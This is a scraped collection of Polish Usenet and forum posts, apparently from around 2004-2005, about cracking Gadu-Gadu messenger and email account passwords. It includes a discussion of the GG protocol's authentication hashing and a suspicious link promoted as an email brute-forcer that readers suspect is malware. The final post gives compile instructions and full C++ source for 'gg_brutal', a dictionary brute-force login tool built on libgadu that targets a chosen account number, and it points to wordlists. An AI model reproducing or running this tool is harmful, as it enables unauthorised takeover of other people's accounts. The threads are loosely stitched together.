kaniagostyn *UKS Kania Gostyń

cholera! GG Pasword Recovery!. niestety zmartwie was, ten program jak i wiele innych odczytuje haslo do profilu i konta, jesli tylko raz je wpiszemy to zostanie zapamietane, po peirwsze ciastka- jak raz tam wpadnie twoje haslo to pozamiatane

po pierwsze sprawdzilbym czy ten program odczyta ci haslo z innego komunikatora z skryptem gg, jak np tlen:D tylko warunek jest taki ze musisz miec czysty system i najpierw tlen, pozniej dopiero lamacz hasel, bo moze nie odczytac wtedy, no i zawsze opcja "nie zapamietuj hasel" wlacozna w stosunku do gg

tekere

Nowe GG łamacz haseł.. Potrzebuję łamacza haseł do nowego gg.. Robiłem sobie konta na szybko, żeby trafić na jakiś fajny numer i zapomniałem jakie dałem hasło..

Edit: I jeszcze jedno, daje na gg przypomnienie hasła wpisuje swój mail i pisze, że wpisane mail jest nie poprawny. A sprawdzam poczte na swoim mailu i doszła wiadomość o utworzeniu konta o tym numerze. Co jest!?
gadu-gadu lamacz hasel.

A ja bym prosil juz skompilowane i zebyscie mi to wysłali na skrzynke :)

compbatant <f@fake.plwrites:

| Troche sie nudzilem i powstal ( wykorzystujac przykladowe programy
| dolaczone do libgadu ) lamacz hasel kont gg.

To ja proszę o przetestowanie na moim koncie: 2457913 :)

On Tue, 21 Sep 2004 22:37:18 +0000, Daria Gwoździcka wrote:
Mój chłopak, który jest hakerem dał mi to przed naszym zerwaniem, to
łamacz haseł kont e-mailowych metoda brute force, działa na konta na
onecie, interii, go2 i wielu innych

http://www.tamtamtam.prv.pl


fuj, identyczny jak ten łamacz haseł gg, pare wątków niżej.

On Tue, 21 Sep 2004 22:37:18 +0000, Daria Gwoździcka wrote:

| Mój chłopak, który jest hakerem dał mi to przed naszym zerwaniem, to
| łamacz haseł kont e-mailowych metoda brute force, działa na konta na
| onecie, interii, go2 i wielu innych

| http://www.tamtamtam.prv.pl

fuj, identyczny jak ten łamacz haseł gg, pare wątków niżej.


Nie jest identyczny. Pewnie teraz będzie rucar.b ;P

pozdrawiam

Immer Unzufrieden <im@nie.chce.spamu.polbox.w.domenie.comwrote:
| Widzisz, sęk w tym, że to już jest łamanie samej umowy z MS, a nie
| prawa.
| Tak samo twierdzą przecież twoi oponenci - że korzystanie z gg przez
| np. kadu jest co najwyżej łamaniem regulaminu z sms-express, a nie
| łamaniem prawa.
No wiem. I na tym opiera się ta dyskusja. W przypadku licencji MS
uważam, że te nalepki i inne takie są częścią niekolidującą z prawem.
W przypadku Kadu uważam, że koliduje z prawem, a na pewno powinno.


Tak samo jak EULA MS tak i regulamin sms-e przwiduje sankcje. W
przypadku tego drugiego o ile dobrze pamiętam jest to *prawo sms-e do* usunięcia konta (nie koniecznie egzekwowane co zaznacza autor regulaminu w pkt. 7). Nie usuwają znaczy się nie mają nic przeciwko. A jak usuną to ja i tak mam jabbera.

Czymcie się ciepło...

A uwierzytelnianie w protokole GG to nie jest jakiś protokół
challenge-response? Bo jeśli nie, to to dalej jest podpierdółka,
wystarczy przecież przechwycić tego właśnie hasza.


Nie wnikałem aż tak głęboko ale pewnie nie jest. Tyle, że przechwycony
hash pozwoli tylko na logowanie się do konta (a to jest raczej łatwe do
zauważenia). Żeby przejąć konto trzeba mieć hasło a nie jego hash a
jeżeli szyfrowanie będzie odpowiednio mocne czas poświęcony na jego
łamanie może przekroczyć cierpliwość domorosłych hakierów.

On 2005-01-01, Gregorius wrote:
Stachu 'Dozzie' K. uzewnętrznił swoje myśli w słowach:

| A uwierzytelnianie w protokole GG to nie jest jakiś protokół
| challenge-response? Bo jeśli nie, to to dalej jest podpierdółka,
| wystarczy przecież przechwycić tego właśnie hasza.

Nie wnikałem aż tak głęboko ale pewnie nie jest. Tyle, że przechwycony
hash pozwoli tylko na logowanie się do konta (a to jest raczej łatwe do
zauważenia). Żeby przejąć konto trzeba mieć hasło a nie jego hash a
jeżeli szyfrowanie będzie odpowiednio mocne czas poświęcony na jego
łamanie może przekroczyć cierpliwość domorosłych hakierów.


O ile do przejęcia konta (rozumiem, że chodzi o zmianę hasła?) wymagane
jest wysłanie hasła w postaci jawnej, a nie zahaszowanej.

compbatant <f@fake.plwrote:
Troche sie nudzilem i powstal ( wykorzystujac przykladowe programy
dolaczone do libgadu ) lamacz hasel kont gg.


ROTFL! :))
Score +300, hakeżyno.

ó.

Troche sie nudzilem i powstal ( wykorzystujac przykladowe programy
dolaczone do libgadu ) lamacz hasel kont gg.


:O

Szczena mi opadla. Kretyni kretynom?
Uciekaj stad. *PLONK*

Instalacja:
Sciagamy libgadu, rozpakowywujemy, kompilujemy, zapisujemy ponizszy
kod zrodlowy do plku gg_brutal.cpp i umieszczamy w katalogu examples.
Z katalogu examples kompilujemy poznisza komenda programik

g++  -I.. -I../lib -I../src gg_brutal.cpp -o gg_brutal ../lib/libgadu.a -lssl -lcrypto

Odpalamy:

./gg_brutal uin slownik

Przykladowe slowniki sciagmy stad:

http://packetstormsecurity.nl/Crackers/wordlists/

/*
 * GADU-GADU brutal force
 *
 */

#include <stdio.h
#include <stdlib.h
#include <string.h
#include <errno.h
#include "libgadu.h"

#include <unistd.h

#include <iostream

#include <fstream
using namespace std;

int main(int argc, char **argv)
{
        struct gg_session *sess;
        struct gg_event *e;
        struct gg_login_params p;

if (argc < 3)
        {
        std::cout<<"usage: <uin<password_file ";
        return 0;
        }      

        gg_debug_level = 0;

        memset(&p, 0, sizeof(p));
        p.uin = atoi(argv[1]);
        //p.password = argv[2];

 char buffer[500];

ifstream INFILE(argv[2], ios::in);

if(!INFILE) {
cerr<<"dictionary could not be opened"<<endl;
exit(1);

}


        while (!INFILE.eof())
        {

                INFILE.getline(buffer, sizeof(buffer));
                p.password = buffer;

                cout<<" NEXT: ";
                cout<<p.password;

                if(sess = gg_login(&p))
                {
                cout<<" WE HAVE PASSWORD !!!!! : "<<p.password << " " ;

                        gg_logoff(sess);
                        gg_free_session(sess);
                        return 0;

                }

        }

  cout<<" failed to crack the password :( ";

        gg_free_session(sess);

        return 0;

}


--
(o_  compbatant    
//   gg:1256576 xbzcong@b2.cy <- rot13 :)
V_/_  http://compbatant.kgb.pl/
Linux 2.4.20-gentoo-r6